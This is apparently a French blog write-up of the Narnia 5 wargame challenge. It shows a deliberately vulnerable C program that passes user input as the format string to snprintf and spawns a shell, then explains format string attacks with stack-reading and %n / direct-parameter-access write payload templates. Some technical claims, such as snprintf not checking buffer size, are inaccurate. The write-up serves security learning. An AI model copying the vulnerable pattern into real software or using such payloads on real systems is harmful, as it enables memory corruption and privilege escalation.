🦁Narnia 5
Nous sommes de retour avec le 6ème challenge de cette série !
Celui-ci va nous permettre de découvrir de nouvelles vulnérabilités, encore jamais vu dans les challenges Narnia : les formats strings !
Découverte
#include
#include
#include
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
Le but de ce challenge est d’obtenir un i = 500
.
Grâce à la sortie, on connait l’adresse mémoire de i et la valeur du buffer (ainsi que sa longueur).
Ici la vulnérabilité va se situer au niveau du snprintf
.
En effet il s’agit d’une fonction peu sécurisée car elle ne vérifie pas la taille du buffer de destination.
De plus, elle permet à un attaquant d’accéder ou de modifier des valeurs sur la pile grâce à une attaque par injection de format.
Celle-ci s’exploite en envoyant des chaines de format tel que “%x”.
Pour rappel, les fonctions de la famille format on retrouve :
– snprintf
– sprintf
– printf
– fprintf
– vfprintf
– etc.
Ces fonctions prennent des paramètres qui spécifient un format (les format specifiers ou chaine de format). Voici quelques exemples :
Exploitation
La fonction snprintf fonctionne de la manière suivante :
snprintf(destination, taille à lire, source, options)
# Exemple
snprintf(buffer, 256, "Coucou%x", val)
Dans cet exemple, la chaine “Coucou” va être copié dans le buffer.
De plus, la valeur de val sera affiché en hexadécimal.
Or, si nous ne précisons pas de variable à lire, snprintf va tout de même lire une valeur, celle de la pile.
Nous pouvons tester la vulnérabilité en essayant de visualiser la pile :
/narnia/narnia5 $(python2 -c 'print("%08x.%08x.%08x.%08x\n")')
Résultat de la commande :
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [f7fc4500.30303534.3330332e.33353330] (35)
i = 1 (0xffffd520)
A l’intérieur de la variable buffer, on peut voir les 4 dernières valeurs présentes sur la pile !
Ce qui se passe ici : printf va interpréter tous les format specifiers (%x) et lire l’adresse précédente de la pile.
Nous pouvons ainsi déduire que l’on peut manipuler les format specifiers afin de modifier la valeur de i.
Pour cela, nous allons avoir besoin du format specifier %n. J’ai mis du temps à comprendre son fonctionnement et son utilité.
Pour des explications complètes, je vous conseille ce guide : formatstring-1.2.pdf (stanford.edu).
Dans les grandes lignes, %n permet de compter le nombre d’octets écrits jusqu’à présent et de l’écrire dans une variable en paramètre.
Il peut donc être utilisé pour écrire directement sur la pile.
En effet, lorsqu’on utilise %n comme ci-dessous, il permet d’écrire le nombre de caractère écrit dans la variable val :
snprintf(buffer, 256, "Coucou%n", val)
Or dans notre exemple, il n’y a pas de paramètre val :
snprintf(buffer, sizeof buffer, argv[1]);
Si notre chaine de caractère contient donc des “%n”, il écrira dans la pile comme s’il y avait un paramètre.
Il y a notamment 2 méthodes à combiner afin de résoudre le challenge : la méthode du Direct Access Parameters et les exploitations de format strings classiques.
Exploitation de format strings classiques
Pour comprendre l’exploitation de format strings classique, ce guide m’a beaucoup aidé : Format Strings Exploitation Tutorial (exploit-db.com)
Il reprend des exemples d’exploitations basiques dont on peut s’inspirer pour notre exploit.
Par exemple :
$(printf "\x84\x95\x04\x08AAAA")%x%x%x%x%x%x%x%x%x%n
Cette injection permet d’écrire à l’adresse 0x08049584
.
Le dernier %x a été remplacé par un %n, ce qui permet d’écrire le nombre d’octets jusqu’à présent, dans l’adresse donnée.
Dans notre cas, nous n’avons pas besoin d’écrire “AAAA” pour notre injection finale. Ces A ne sont là qu’à des fins de test, pour les retrouver sur la pile.
On peut transposer cette injection en python, ce qui nous donne :
$(python2 -c 'print("\x84\x95\x05\x08")')%x%x%x%x%x%x%x%x%x%n
Je me suis inspiré de ce modèle afin de construire mon injection, à la différence que j’ai utilisé la méthode “Direct Access Parameters”.
Méthode : Direct Access Parameters
Selon le guide formatstring-1.2.pdf (stanford.edu), on peut utiliser une méthode de “stack popping” qui permet d’adresser directement un paramètre de la pile (Direct Parameter Access).
Cela signifie placer directement un élément sur la pile.
Cet accès se fait par le qualificatif ‘$’.
En lisant le guide, on comprend que %1$n
permet en fait d’écrire à un emplacement mémoire le dernier argument entré.
En effet, le 1 indique le premier argument passé après la chaine de format.
Le $n est l’équivalent de %n. Il s’agit d’un spécifieur de format, utilisé pour écrire l’argument passé, à l’adresse spécifiée auparavant.
Nous avons aussi besoin d’un emplacement mémoire et d’une donnée à écrire sur la pile.
Ainsi, on se retrouve avec une injection de ce format là :
$(python2 -c 'print("adresse")')%Nx%1\$n
Où N est un chiffre hexadécimal (x) (l’argument) à écrire à l’adresse “<adresse>"
Conclusion
J’ai trouvé ce challenge très intéressant, il se penche sur un nouveau type de vulnérabilités, encore jamais abordé au cours de ce wargame.
Il existe de nombreuses façon différentes de résoudre ce challenge.
Il m’a semblé mystique au début, complexe à prendre en main, mais grâce à de nombreuses documentations et guides, il est possible d’en venir à bout 😊.
Recent Comments